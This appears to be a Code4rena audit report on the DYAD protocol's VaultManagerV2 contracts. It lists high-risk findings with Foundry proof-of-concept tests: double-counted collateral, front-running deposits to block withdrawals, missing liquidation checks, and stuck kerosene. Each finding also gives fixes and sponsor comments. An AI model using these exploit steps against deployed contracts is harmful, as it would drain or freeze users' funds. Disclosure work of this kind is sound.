The code under review can be found within the , and is composed of 7 smart contracts written in the Solidity programming language and includes 465 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on , specifically our section on .

High Risk Findings (10)

Submitted by also found by pontifex), , , , , , , , adam-idarrha , Honour), 0xabhay), oakcobalt , , SBSecurity , , , Limbooo , , Circolors , , , ljj , , TheSchnilch , , n4nika), iamandreiski ,), VAD37 , , , , , , , web3km , , shikhar229169 , T1MOH ,), , , AlexCzm , , , , , and zhaojohnson)

Impact

Due to a design flaw in the protocol's management of vault licensing and the deploy script, a significant risk exists where collateral can be counted twice in the calculation of the Collateralization Ratio. This occurs because WETH vaults are incorrectly licensed to both the `KeroseneManager` and `VaultLicenser`, allowing users to register the same asset and their NFT ID in both Kerosene vaults and normal vaults. This can allow users to exploit this to greatly inflate their CR calculations, misleading the protocol into considering a position more secure than it truly is, which can prevent necessary liquidations and pose significant risk to the protocol.

However, a user can also register his ID and the `keroseneVault` as a normal `vault` because the script calls the licensing function for the `kerosineVaults` using the `VaultLicenser` rather than the `kerosineManager`. This can lead to positions entirely collateralized with kerosene token. Which is not what protocol intends to do and is very risky as the kerosene token is endogenous and has a manipulable asset price.

Proof of Concept

Basically, there are two exploits with devastating impacts on the protocol:

Exploit #1: The `DeployV2` script calls both contract licensing tx functions on the weth vault.

```
kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));
```

and:

```
vaultLicenser.add(address(ethVault));
vaultLicenser.add(address(wstEth));
```

The licensing via the `kerosineManager` also has to be done, because the weth vaults will be used by the `UnboundedKerosineVault` contract during the price calculation of the kerosine asset.

This can be exploited where users can call both `VaultManagerV2::addKerosene` and `VaultManagerV2::add` functions with their id and the weth vault as parameters. The `VaultManagerV2::collatRatio` uses both `vaults` and `vaultsKerosene` mapping to calculate the value of the stored assets. Since, weth vault is added in both mappings the assets be counted twice.

Consider the following test:

```
    function test_CanMintSameAmountAsDeposit() public {
        // address RECEIVER2 = makeAddr("Receiver2");

        uint256 id = mintDNft();
        uint256 id2 = mintDNft();
        // Add vault in both contracts
        vaultManagerV2.add(id, address(wethVaultV2));
        vaultManagerV2.add(id2, address(wethVaultV2));
        vaultManagerV2.addKerosene(id, address(wethVaultV2));

        // Deposits 1e25 USD of Weth
        depositV2(weth, id, address(wethVaultV2), 1e22);// Price weth
1000
        // Mint 1e25
        vaultManagerV2.mintDyad(id, 1e25, RECEIVER);

        // Protocol considers that User has deposited twice the amount
in the collateral ratio calculation
        console.log("CR of position", vaultManagerV2.collatRatio(id));
// 200%

        // Position is not liquidatable even if it is only
collateralized at 100%
        vm.expectRevert(IVaultManager.CrTooHigh.selector);
        vm.prank(RECEIVER);
        vaultManagerV2.liquidate(id, id2);

    }
```

Exploit #2: The `DeployV2` script calls the licensing tx functions on the kerosine vaults using the `vaultLicenser` :

```
        vaultLicenser.add(address(unboundedKerosineVault));
        // vaultLicenser.add(address(boundedKerosineVault));
```

This has to be done via the `vaultLicenser` instead of the `kerosineManager` so that the kerosene vault assets would not be taken into account during the price calculation of the kerosine asset.

A user can just call the `VaultManagerV2::add` function with their ID and kerosine vault as parameters. Since, the kerosine vault will be stored inside the `vaults` mappings, some positions can be mostly or entirely collateralized with the kerosine asset, which is not what is intended by the protocol. In fact kerosene is a volatile asset and can cause stability and liquidity issues to the protocol.

Consider the following test:

```
    function test_addKeroseneAsExoColl() public {
        uint256 id = mintDNft();
        uint256 id2 = mintDNft();

        // Follow script deployment. Weth Vault is licensed in both
VaultManager and KerosineManager
        // A user can just add his id and the WethVault in the kerosine
mapping and kerosineVault in the vault mapping
        vaultManagerV2.addKerosene(id, address(wethVaultV2));
        vaultManagerV2.add(id, address(unboundedKerosineVault));

        // Assume weth was deposited by other users
        depositV2(weth, id2, address(wethVaultV2), 1e24); //weth 1000
Usd

        // User deposits kerosine using id
        kerosineMock.mint(address(this), 1e20);
        kerosineMock.approve(address(vaultManagerV2), 1e20);
        vaultManagerV2.deposit(id, address(unboundedKerosineVault),
1e20);
        console.log("Kerosine price",
unboundedKerosineVault.assetPrice()); //9999

        //Then mint dyad
        vaultManagerV2.mintDyad(id, 1e19, RECEIVER);

        // => Position 150% collateralized with kerosine tokens
        // !! User cannot add kerosine bounded or unbounded vaults in
the kerosine mapping in the vault Manager
        // !! and id and weth vault can be added in both kerosene and
normal vaults which would make the amount deposited calculated twice in
the collateralRatio
    }
```

Tools Used

Foundry test

Recommended Mitigation Steps

The design of the licensing part needs to be re-thinked. The issue here is that the vaults mapping of the `KerosineManager` contract which is constructed via the method `KerosineManager::add` is the same mapping that is used by the `UnboundedKerosineVault::assetPrice` function. You can consider creating two separate mappings.

One used only for the price calculation in the `UnboundedKerosineVaultassetPrice` contract which would only include the classic vaults (weth ...); another mapping used for the licensing part which would include the kerosene vaults.

Let's assume these were implemented, we have now two mappings. The `DeployV2` should change as follows:

```
kerosineManager.addVaultForOracleCalculation(address(ethVault));
kerosineManager.addVaultForOracleCalculation(address(wstEth));

kerosineManager.add(address(unboundedKerosineVault));
kerosineManager.add(address(boundedKerosineVault));
```

Assuming the `addVaultForOracleCalculation` feeds a mapping that will be used by `UnboundedKerosineVault::assetPrice` while `add` doesn't.

Note: For full discussion, see .

Submitted by also found by , , , , and

The function allows liquidators to burn DYAD on behalf of an DNft id and receive collateral in return.

The issue is that the current functionality only allows burning of the whole DYAD amount minted by the DNft id. This means that partial liquidations cannot be performed and prevents liquidators from liquidating DYAD minted by whales that hold huge positions in the system. Since the liquidations cannot be performed unless the liquidator can match up to the collateral deposited and DYAD minted by the whale, the system will be undercollaterized causing bad debt to accrue.

The effect of this issue will increase as more such positions exist in the system that cannot be liquidated by the liquidators.

Proof of Concept

In the function below, we can see on Line 235 that when the `burn()` function is called on the DYAD token contract, it burns the whole minted DYAD instead of allowing the liquidator to supply a specific amount they can burn to improve the collateral ratio of the id and the overall health of the system.

But since this is not allowed, liquidators trying to liquidate whales, who have minted a huge amount of DYAD, would fail due to the position being extremely big and the inability of partially liquidate.

```
File: VaultManagerV2.sol
225:   function liquidate(
226:     uint id,
227:     uint to
228:   )
229:     external
230:       isValidDNft(id)
231:       isValidDNft(to)
232:     {
233:       uint cr = collatRatio(id);
234:       if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
235:       dyad.burn(id, msg.sender, dyad.mintedDyad(address(this),
id));
236:
237:
238:       uint cappedCr               = cr < 1e18 ? 1e18 : cr;
239:       uint liquidationEquityShare = (cappedCr -
1e18).mulWadDown(LIQUIDATION_REWARD);
240:       uint liquidationAssetShare  = (liquidationEquityShare +
1e18).divWadDown(cappedCr);
241:
242:       uint numberOfVaults = vaults[id].length();
243:       for (uint i = 0; i < numberOfVaults; i++) {
244:           Vault vault      = Vault(vaults[id].at(i));
245:           uint  collateral =
vault.id2asset(id).mulWadUp(liquidationAssetShare);
246:
247:           vault.move(id, to, collateral);
248:       }
249:       emit Liquidate(id, msg.sender, to);
250:   }
```

Recommended Mitigation Steps

Implement a mechanism to allow liquidators to partially liquidate positions. This would also require refactoring the collateral paid out to them based on the amount they cover.

:

> *Hmm, but can't this be solved by flash loaning DYAD?*

:

> *Not if loan exceeds market liquidity. Partial liquidations is a feature we should implement.*

Submitted by also found by , , 0xblack_bird ,),

, , ,
, , , , , , ,
, , , , ,
,
, , , , , ,
, , , ,
, , ,
, , , , , , ,
, , , , ,
, , , and

Function uses modifier instead of , which allows anyone to call on behalf of any DNft id.

Impact

1. Attacker can make user devoid of withdrawing or redeeming collateral by making `0` value calls. Other than denying users from temporarily withdrawing their collateral, this is also an issue since it could force users into liquidations when they try to

take preventative measures on their collateral ratio (especially through) in high collateral price volatility situations. If successful, the attacker could then perform the liquidation to profit from the situation.

2. Attacker can make user devoid of removing vault due to `id2asset > 0` by depositing 1 wei of collateral.

Proof of Concept

First impact:

1. User calls (or to directly withdraw collateral) to burn DYAD and withdraw their collateral asset.

2. Attacker frontruns the call with a `0` value call. This would set the `idToBlockOfLastDeposit[id]` to the current `block.number`. The call does not revert since `0` value transfers are allowed.

```
File: VaultManagerV2.sol
127:   function deposit(
128:     uint    id,
129:     address vault,
130:     uint    amount
131:   )
132:     external
133:       isValidDNft(id)
134:   {
135:     idToBlockOfLastDeposit[id] = block.number;
136:     Vault _vault = Vault(vault);
137:     _vault.asset().safeTransferFrom(msg.sender, address(vault),
amount);
138:     _vault.deposit(id, amount);
139:   }
```

3. When the user's call goes through, it internally calls the function, which would cause a revert due to the check on Line 152. The check evaluates to true and reverts since the attacker changes the last deposit block number to the current block through the `0` value call.

```
File: VaultManagerV2.sol
143:   function withdraw(
```

```
144:     uint    id,
145:     address vault,
146:     uint    amount,
147:     address to
148:   )
149:     public
150:       isDNftOwner(id)
151:   {
152:     if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
153:     uint dyadMinted = dyad.mintedDyad(address(this), id);
154:     Vault _vault = Vault(vault);
155:     uint value = amount * _vault.assetPrice()
156:                    * 1e18
157:                    / 10**_vault.oracle().decimals()
158:                    / 10**_vault.asset().decimals();
159:
160:     if (getNonKeroseneValue(id) - value < dyadMinted) revert
NotEnoughExoCollat();
161:     _vault.withdraw(id, to, amount);
162:     if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert
CrTooLow();
163:   }
```

4. If the collateral ratio of the user falls below the minimum threshold of 1.5e18 (in terms of high volatility of collateral asset price), the attacker could then exploit the situation to liquidate the user using the function.

Second impact:

1. User tries to remove a vault by calling the function.

2. Attacker frontruns the call by making a 1 wei collateral deposit through the function. This would increase the `id2asset` for the user in the vault.

```
File: VaultManagerV2.sol
127:   function deposit(
128:     uint    id,
129:     address vault,
130:     uint    amount
131:   )
132:     external
133:       isValidDNft(id)
134:   {
135:     idToBlockOfLastDeposit[id] = block.number;
```

```
136:     Vault _vault = Vault(vault);
137:     _vault.asset().safeTransferFrom(msg.sender, address(vault),
amount);
138:     _vault.deposit(id, amount);
139:   }
```

3. User's call goes through and reverts due to the check on Line 102. This revert occurs since `id2asset` is now 1 wei for the vault the user is trying to remove. Note that although the attacker would be spending gas here, an equal amount of gas would also be required from the user's side to withdraw the 1 wei. The attack will continue till the user gives up due to the high gas spent behind withdrawing. Another thing to note is that regular users (with no knowledge of contracts) might not have the option to withdraw 1 wei from the frontend, which would require additional overhead from their side to seek help from the team.

```
File: VaultManagerV2.sol
095:   function remove(
096:       uint    id,
097:       address vault
098:   )
099:     external
100:       isDNftOwner(id)
101:   {
102:     if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
103:     if (!vaults[id].remove(vault))     revert VaultNotAdded();
104:     emit Removed(id, vault);
105:   }
```

Recommended Mitigation Steps

Use modifier instead of on function .

Assessed type

Invalid Validation

:

> *Good find! We should restrict it to only owner.*

Submitted by also found by , , , , and

User's withdrawals will be prevented from success and an attacker can keep it up without a cost by using a fake vault and a fake token.

Proof of Concept

There is a mechanisms for a flash loan protection that saves the current block number in a mapping of dNft token id; and then prevents it from withdrawing at the same block number. As we can see in the `VaultManagerV2::deposit()` function, this can be called by anyone with a valid dNft id:

```
src/core/VaultManagerV2.sol:
  119:   function deposit(
  120:     uint    id,
  121:     address vault,
  122:     uint    amount
  123:   )
  124:     external
  125:       isValidDNft(id)
  126:   {
@>127:     idToBlockOfLastDeposit[id] = block.number;
  128:     Vault _vault = Vault(vault);
  129:     _vault.asset().safeTransferFrom(msg.sender, address(vault),
amount);
  130:     _vault.deposit(id, amount);
  131:   }
```

The attacker can use this to prevent any withdrawals in the current block, since it will be checked whenever an owner of dNft token try to withdraw:

```
src/core/VaultManagerV2.sol:
  134:   function withdraw(
  135:     uint    id,
  136:     address vault,
  137:     uint    amount,
  138:     address to
  139:   )
  140:     public
  141:       isDNftOwner(id)
  142:   {
```

```
@>143:     if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
  144      uint dyadMinted = dyad.mintedDyad(address(this), id);
```

Test Case (Foundry)

▶ Details

Tools Used

Foundry

Recommended Mitigation

Consider limiting anyone with any token vaults to update `idToBlockOfLastDeposit`. One of these mitigations can be used:

1. Prevent anyone to deposit to unowned dNft token.

2. Allow to only depositing using licensed vaults, so if the attacker try to front-runs he will lose some real tokens.

3. Since this used to protect against flash loans, no need to use it with all token vaults. This should be used only with vaults that can be used to mint DYAD. So, we can check if the deposit included in the `vaultLicenser` and `keroseneManager` licenser, we need to update the `idToBlockOfLastDeposit`. Here is a git diff for this fix:

```
diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol
index fc574a8..73dbb6b 100644
--- a/src/core/VaultManagerV2.sol
+++ b/src/core/VaultManagerV2.sol
@@ -124,7 +124,8 @@ contract VaultManagerV2 is IVaultManager,
Initializable {
     external
       isValidDNft(id)
   {
-    idToBlockOfLastDeposit[id] = block.number;
+    if (vaultLicenser.isLicensed(vault) ||
keroseneManager.isLicensed(vault))
+      idToBlockOfLastDeposit[id] = block.number;
     Vault _vault = Vault(vault);
     _vault.asset().safeTransferFrom(msg.sender, address(vault),
amount);
     _vault.deposit(id, amount);
```

Assessed type

Invalid Validation

Submitted by , also found by , , , , , , , , , , Josh4324), , , , , 0xAlix2 , , and

`VaultManagerV2` has one `withdraw` function responsible for withdrawing both exogenous collateral (weth/wsteth) and endogenous collateral (Kerosene). However, the function expects the `vault` passed as an argument to have an `oracle` method. This is the case for `Vault` contracts, but not the case for the `BoundedKerosineVault` or `UnboundedKerosineVault` contracts. This means that whenever a user attempts to withdraw Kerosene deposited into the contract the call will revert, meaning the Kerosene remains stuck in the contract permanently.

Proof of Concept

Add the following test to `v2.t.sol` to highlight this:

```
    function testCannotWithdrawKero() public {
      // Set up alice
      licenseVaultManager();
      address alice = makeAddr("alice");
      uint aliceTokenId = sendNote(alice);
      sendKerosene(alice, 10_000 ether);

      // Alice deposits kerosene into the protocol
      vm.startPrank(alice);
      contracts.vaultManager.addKerosene(aliceTokenId,
  address(contracts.unboundedKerosineVault));
      Kerosine(MAINNET_KEROSENE).approve(address(contracts.vaultManager),
  10_000 ether);
      contracts.vaultManager.deposit(aliceTokenId,
  address(contracts.unboundedKerosineVault), 10_000 ether);
```

```
        assertEq(ERC20(MAINNET_KEROSENE).balanceOf(alice), 0);

        vm.roll(block.number + 42);

        // Alice attempts to withdraw her kerosene but the tx reverts
        contracts.vaultManager.withdraw(aliceTokenId,
    address(contracts.unboundedKerosineVault), 10_000 ether, alice);
      }
```

The test reverts with the following stack traces:

```
    ├─ [9243] VaultManagerV2::withdraw(645, UnboundedKerosineVault:
[0x416C42991d05b31E9A6dC209e91AD22b79D87Ae6], 100000000000000000000
[1e22], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
    │   ├─ [558]
0xDc400bBe0B8B79C07A962EA99a642F5819e3b712::ownerOf(645) [staticcall]
    │   │   └─ ← [Return] alice:
[0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]
    │   ├─ [2623]
0x305B58c5F6B5b6606fb13edD11FbDD5e532d5A26::mintedDyad(VaultManagerV2:
[0xA8452Ec99ce0C64f20701dB7dD3abDb607c00496], 645) [staticcall]
    │   │   └─ ← [Return] 0
    │   ├─ [261] UnboundedKerosineVault::asset() [staticcall]
    │   │   └─ ← [Return] 0xf3768D6e78E65FC64b8F12ffc824452130BD5394
    │   ├─ [262] 0xf3768D6e78E65FC64b8F12ffc824452130BD5394::decimals()
[staticcall]
    │   │   └─ ← [Return] 18
    │   ├─ [214] UnboundedKerosineVault::oracle() [staticcall]
    │   │   └─ ← [Revert] EvmError: Revert
    │   └─ ← [Revert] EvmError: Revert
```

Recommended Mitigation

Given that the `value` of exogenous and endogenous collateral is calculated differently it is necessary to handle withdrawal of exogenous collateral and Kerosene differently. It would avoid added complexity to the function logic to have two different `withdraw` and `withdrawKerosene` functions.

:

> *Good find. This is correct.*

Note: For full discussion, see .

Submitted by also found by oakcobalt , , MrPotatoMagic , , , , , , , , , , , , , , , and

The protocol allows users to deposit both Kerosene and non-Kerosene collateral, to mint Dyad users should have an equal value of non-Kerosene (exogenous) collateral. So users should have 100% non-Kerosene and the rest could be Kerosene collateral.

However, in `VaultManagerV2::withdraw` , the protocol allows users to withdraw Kerosene and non-Kerosene collateral, by just passing the corresponding vault. When withdrawing it checks if the (non-Kerosene value - withdraw value) is less than the minted Dyad, if so it reverts. This is also checked when withdrawing Kerosene collateral, which is wrong as it's comparing non-Kerosene value with Kerosene value.

Ultimately, this blocks users from withdrawing their Kerosene collateral, even if they should be able to. Let's take an example, a user has `$100` non-Kerosene and `$100` Kerosene collateral, and you have 100 Dyad minted, that's a 200% ratio. If he tries to withdraw `$1` Kerosene, the TX will revert, because `getNonKeroseneValue(id) = 100 - value = 1 < Dyad minted = 100` , which again is a wrong check.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser. To overcome this we had to manually change the licenser in `addKerosene` and `getKeroseneValue` .

Because of another reported issue, a small change should be made to the code to workaround it; in `VaultManagerV2::withdraw` , replace `_vault.oracle().decimals()` with `8` . This just sets the oracle decimals to a static value of 8.

Test POC:

Make sure to fork the main net and set the block number to `19703450` :

▶ Details

Recommended Mitigation Steps

Differentiate between Kerosene and non-Kerosene USD values when withdrawing either of them.

Assessed type

Invalid Validation

:

> *This is correct. Good find!*

Submitted by , also found by , , , , , , and

The vulnerability is present in the `VaultManagerV2::liquidate` function where it doesn't have any check for whether the vault has enough exogenous collateral leading to no liquidation even if the non-kerosene value is less than DYAD minted.

It is intended that the position of user's DNFT has enough exogenous collateral and should be 150% overcollateralized. But there will arise a case when a position is no doubt 150% collateralized by the support of kerosene value, but the non-kerosene value is reduced below the DYAD token minted. As a result of which the vault doesn't have enough required exogenous collateral. But due to the missing check for enough non-kerosene value collateral in liquidate function, the liquidation will never happen and reverts.

Impact

The position will never be liquidated, for the above discussed case. As a result of which the (DYAD Minted › Non Kerosene Value), making the value of DYAD to fall.

Proof of Concept

Add the below test file in `test/fork/v2.t.sol` , and add the imports:

```
import {DNft} from "../../src/core/DNft.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
```

```
import {OracleMock} from "../OracleMock.sol";
import {IVaultManager} from "../../src/core/VaultManagerV2.sol";
```

Run the test (Replace the `$ETH_MAINNET_RPC_URL` by your eth mainnet rpc url):

```
forge test --mt
test_LiquidationReverts_EvenIfVaultHasNotEnoughExoCollateral --fork-url
$ETH_MAINNET_RPC_URL
```

```
function test_LiquidationReverts_EvenIfVaultHasNotEnoughExoCollateral()
public {
  address user = makeAddr("user");
  vm.deal(user, 100 ether);

  Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
  vm.prank(MAINNET_OWNER);
  licenser.add(address(contracts.vaultManager));

  DNft dnft = DNft(MAINNET_DNFT);

  vm.startPrank(user);

  uint256 id = dnft.mintNft{value: 10 ether}(user);

  // user adds vault
  contracts.vaultManager.add(id, address(contracts.ethVault));
  contracts.vaultManager.addKerosene(id, address(contracts.wstEth));

  // user adds weth to the vault
  deal(MAINNET_WETH, user, 10 ether);       // get 10 weth to the user
  ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 10
ether);
  contracts.vaultManager.deposit(id, address(contracts.ethVault), 10
ether);

  // user adds wsteth to the vault
  deal(MAINNET_WSTETH, user, 10 ether);       // get 10 wsteth to the
user
  ERC20(MAINNET_WSTETH).approve(address(contracts.vaultManager), 10
ether);
  contracts.vaultManager.deposit(id, address(contracts.wstEth), 10
ether);

  // user mints DYAD token
  uint256 nonKeroseneValue =
contracts.vaultManager.getNonKeroseneValue(id);

  // user mints DYAD equal to the usd value of their non-kerosene
collateral
  uint256 dyadToMint = nonKeroseneValue;
```

```
    contracts.vaultManager.mintDyad(id, dyadToMint, user);

    // now the value of weth falls to 90%
    _manipulateWethPrice();

    // now get the nonKeroseneValue
    uint256 newNonKeroseneValue =
contracts.vaultManager.getNonKeroseneValue(id);

    // non kerosene usd value reduced, as weth price reduced
    assert(newNonKeroseneValue < dyadToMint);

    // now it is intended that the user should be liquidated by a
liquidator
    // but due to missing exogenous collateral check, the liquidation will
not happen

    vm.stopPrank();


    address liquidator = makeAddr("liquidator");
    vm.deal(liquidator, 100 ether);

    vm.startPrank(liquidator);

    uint256 liquidatorId = dnft.mintNft{value: 10 ether}(liquidator);

    // the liquidation reverts as mentioned, even if (dyadMinted >
nonKeroseneValue)
    // thus shows unintended behaviour
    vm.expectRevert(IVaultManager.CrTooHigh.selector);
    contracts.vaultManager.liquidate(id, liquidatorId);

    vm.stopPrank();
}

function _manipulateWethPrice() internal {
    (, int256 ans, , , ) = contracts.ethVault.oracle().latestRoundData();
    OracleMock oracleMock = new OracleMock(uint256(ans));
    vm.etch(address(contracts.ethVault.oracle()),
address(oracleMock).code);
    vm.warp(1);
    OracleMock(address(contracts.ethVault.oracle())).setPrice(uint256(ans)
* 90e18 / 100e18);
}
```

Tools Used

Unit Test in Foundry

Recommended Mitigation Steps

Update the line 214 in `VaultManagerV2.sol` :

```
- if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
+ if (cr >= MIN_COLLATERIZATION_RATIO && getNonKeroseneValue(id) >=
dyad.mintedDyad(address(this), id)) revert CrTooHigh();
```

Assessed type

Context

:

> *Kerosene should be included in the transfer upon liquidation.*

:

> *@shafu0x - Could you please help with the severity assessment here?*
>
> *The impact is obviously high, However, I'm not sure about the likelihood.*
>
> *Here is an example, the user added extra kerosene (i.e. above 50%):*
>
> - A user added 110% value of non-kerosene `+` 60% value of kerosene `=>` CR 170% .
> - Non-kerosene value drops below 100%, let's say 90%.
> - Now, we have 90% value of non-kerosene `+` 60% value of kerosene `=>` CR 150%.
> - Liquidation is reverting.
>
> *Another scenario, would be that the kerosene added by the user is equal or less than 50%, and the price of kerosene goes up enough to cover 150% as CR.*
>
> *So, likelihood depends on two events:*
>
> 1. Amount of kerosene has to be above 50%.
> 2. Price of kerosene going up.

> *Given the info above, would you say the likelihood is low, medium or high?*

:

> *As @0xMax1 mentioned, we fix this by also moving kerosene in the case of a liquidation. I think this should fix it.*

:

> *The liquidation will revert if CR >= 1.5 but the non-kerosene collateral value is less than 100%. So, minted dyad is not backed by (at least) 100% of non-kerosene collateral.*
>
> *After discussing the likelihood of this with the sponsor, I believe the issue stands as high.*

:

> *This issue should be invalid. The issue is about the state where positions have exogenous collateral less than the DYAD minted, suggesting such positions should be liquidated. However, the protocol specifications do not mandate liquidation under these circumstances if the position remains overall sufficiently collateralized with kerosene.*

:

> *state:*
>
> > *If a Note's collateral value in USD drops below 150% of its DYAD minted balance, it faces liquidation.*

> *There is no mention that position is subject to liquidation when* `exogenous collateral < DYAD minted` *. Yes there is that check in* `withdraw()` *and* `mintDyad()` *, but from reviewer's perspective it is no more than sanity check. Because bypassing this check as it is doesn't harm protocol due to the nature of Kerosine price (it has valuation of surplus collateral). That's because if someone has say 90% of exogenous collateral and 60% of Kerosine, then somebody else has more than 100% in exogenous collateral and protocol is totally fine. As noted before, Kerosine has value only if there is surplus collateral in protocol. I think submission is invalid.*

:

> *The core invariant of the protocol is* `TVL (which is measured as the non Kerosene collateral) > DYAD total supply`
>
> *Positions being able to fall below a 1:1 exogenous collateral to dyad minted ratio allows for the protocol to break it's core invariant meaning this is a valid issue regardless of the sponsors intentions.*
>
> *As pointed out in issue , as the value of the collateral in the protocol is all significantly correlated (to the price of ETH), a significant drop in ETH price can cause a large % of open positions to drop below this 1:1 ratio; meaning it becomes very likely this core invariant is broken.*

:

> *The confusion around this issue is that it didn't succeed in combining two findings. There are two invariants related to minting/liquidating DYAD:*
>
> 1. **When minting DYAD**, the ratio 1:1 of **exogenous value with dyad minted** should hold.
> 2. **When liquidating DYAD**, the 150% ratio of **USD collateral value (not exogenous collaterals only)** should hold.
>
> *This issue does not highlight the first invariant. It only talks about liquidation and it assumes that if the USD value of* **exogenous collateral** *drops below a 1:1 ratio, liquidation should happen, while this is a wrong assumption.* **Liquidation should happen if the total**

> **collateral USD value (including both exogenous and kerosene tokens) drops below 150%**
>
> *However, the first invariant (when minting DYAD, a 1:1 ratio should hold) is a valid finding as it demonstrates a core invariant break, but it is not highlighted in this issue.*

:

> *The core invariant of the whole protocol is that total TVL does not drop below total Dyad minted. Being able to liquidate positions that have fallen below the 1:1 ratio is merely a mitigation to protect the protocol from this happening.*
>
> *Given there is no option to post collateral in non-ETH sources (other stable coins), if ETH price were to drop & TVL to fall below DYAD minted it would lead to the stablecoin to depegging as it would no longer be backed 1:1. Being able to liquidate positions with less than a 1:1 ratio is more a mitigation to protect the health of the entire protocol rather than a bug in itself.*

:

> *This issue stays as a valid high since the core invariant in the protocol can be broken leading to DYAD's depeg.*

Note: For full discussion, see .

Submitted by also found by Abdessamed , , sashik_eth , , , Oxabhay), itsabinashb), , , , SpicyMeatball , , , , , , , , , , , , ,

, 0x486776 ,), , ,
zhaojohnson , , and

The protocol expects users to migrate their collateral from V1 vaults to V2 vaults, this significantly increases the TVL of the protocol's V2. At the same time, the Kerosene price depends on the TVL, in `UnboundedKerosineVault::assetPrice` the numerator of the equation is:

```
uint256 numerator = tvl - dyad.totalSupply();
```

This will always revert until the TVL becomes > Dyad's supply, which is around 600k. So when users deposit Kerosene in either Kerosene vaults their Kerosene will temporarily get stuck in there.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser. To overcome this, we had to manually change the licenser in `addKerosene` and `getKeroseneValue`.

Because of another reported issue, a small change should be made to the code to workaround it, in `VaultManagerV2::withdraw`, replace `_vault.oracle().decimals()` with `8`. This just sets the oracle decimals to a static value of 8.

Test POC:

Make sure to fork the main net and set the block number to `19703450`:

```
contract VaultManagerTest is VaultManagerTestHelper {
    Kerosine keroseneV2;
    Licenser vaultLicenserV2;
    VaultManagerV2 vaultManagerV2;
    Vault ethVaultV2;
    VaultWstEth wstEthV2;
    KerosineManager kerosineManagerV2;
    UnboundedKerosineVault unboundedKerosineVaultV2;
    BoundedKerosineVault boundedKerosineVaultV2;
    KerosineDenominator kerosineDenominatorV2;
    OracleMock wethOracleV2;

    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    ERC20 wrappedETH = ERC20(MAINNET_WETH);
    ERC20 wrappedSTETH = ERC20(MAINNET_WSTETH);
    DNft dNFT = DNft(MAINNET_DNFT);

    function setUpV2() public {
```

```
        (Contracts memory contracts, OracleMock newWethOracle) = new
DeployV2().runTestDeploy();

        keroseneV2 = contracts.kerosene;
        vaultLicenserV2 = contracts.vaultLicenser;
        vaultManagerV2 = contracts.vaultManager;
        ethVaultV2 = contracts.ethVault;
        wstEthV2 = contracts.wstEth;
        kerosineManagerV2 = contracts.kerosineManager;
        unboundedKerosineVaultV2 = contracts.unboundedKerosineVault;
        boundedKerosineVaultV2 = contracts.boundedKerosineVault;
        kerosineDenominatorV2 = contracts.kerosineDenominator;
        wethOracleV2 = newWethOracle;

        vm.startPrank(MAINNET_OWNER);

Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(vaultManagerV2));

boundedKerosineVaultV2.setUnboundedKerosineVault(unboundedKerosineVaultV
2);
        vm.stopPrank();
    }

    function test_InvalidCalculationAssetPrice() public {
        setUpV2();

        deal(MAINNET_WETH, bob, 100e18);

        vm.prank(MAINNET_OWNER);
        keroseneV2.transfer(bob, 100e18);

        uint256 bobNFT = dNFT.mintNft{value: 1 ether}(bob);

        vm.startPrank(bob);

        wrappedETH.approve(address(vaultManagerV2), type(uint256).max);
        keroseneV2.approve(address(vaultManagerV2), type(uint256).max);

        vaultManagerV2.add(bobNFT, address(ethVaultV2));
        vaultManagerV2.addKerosene(bobNFT,
address(unboundedKerosineVaultV2));

        vaultManagerV2.deposit(bobNFT, address(ethVaultV2), 1e18);
        vaultManagerV2.deposit(bobNFT,
address(unboundedKerosineVaultV2), 1e18);

        vm.roll(1);

        vm.expectRevert(); // Underflow
        vaultManagerV2.withdraw(bobNFT,
address(unboundedKerosineVaultV2), 1e18, bob);
```

```
        }
    }
```

Recommended Mitigation Steps

This is a bit tricky, but I think the most straightforward and logical solution would be to block the usage of the Kerosene vaults (just keep them unlicensed) until enough users migrate their positions from V1, i.e. the TVL reaches the Dyad's total supply.

Assessed type

Under/Overflow

:

> *Yes, it should only check for dyad minted from v1.*

Submitted by also found by , and

When a position's collateral ratio drops below 150%, it is subject to liquidation. Upon liquidation, the liquidator burns a quantity of DYAD equal to the target Note's DYAD minted balance, and in return receives an equivalent value plus a 20% bonus of the liquidated position's collateral. If the collateral ratio is `<` 100%, all the position's collateral should be moved to the liquidator, this logic is done in `VaultManagerV2::liquidate`.

However, that function is only moving the non-Kerosene collateral to the liquidator, which is wrong. All collateral including Kerosene should be moved to the liquidator in the case of full liquidation.

This will affect both the liquidated and liquidator positions:

- Liquidator position will be exposed to loss, as he'll pay some Dyad and won't get enough collateral in return.
- Liquidated position will end up with some collateral after being fully liquidated, where it should end up with 0 collateral of both types.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser. To overcome this, we had to manually change the licenser in `addKerosene` and `getKeroseneValue`.

Make sure to fork the main net and set the block number to `19703450`:

▶ Details

Recommended Mitigation Steps

Add the following to `VaultManagerV2::liquidate`:

```
uint256 numberOfKeroseneVaults = vaultsKerosene[id].length();
for (uint256 i = 0; i < numberOfKeroseneVaults; i++) {
    Vault vault = Vault(vaultsKerosene[id].at(i));
    uint256 collateral =
vault.id2asset(id).mulWadUp(liquidationAssetShare);
    vault.move(id, to, collateral);
}
```

Assessed type

Error

Submitted by *also found by* *and* ,

Impact

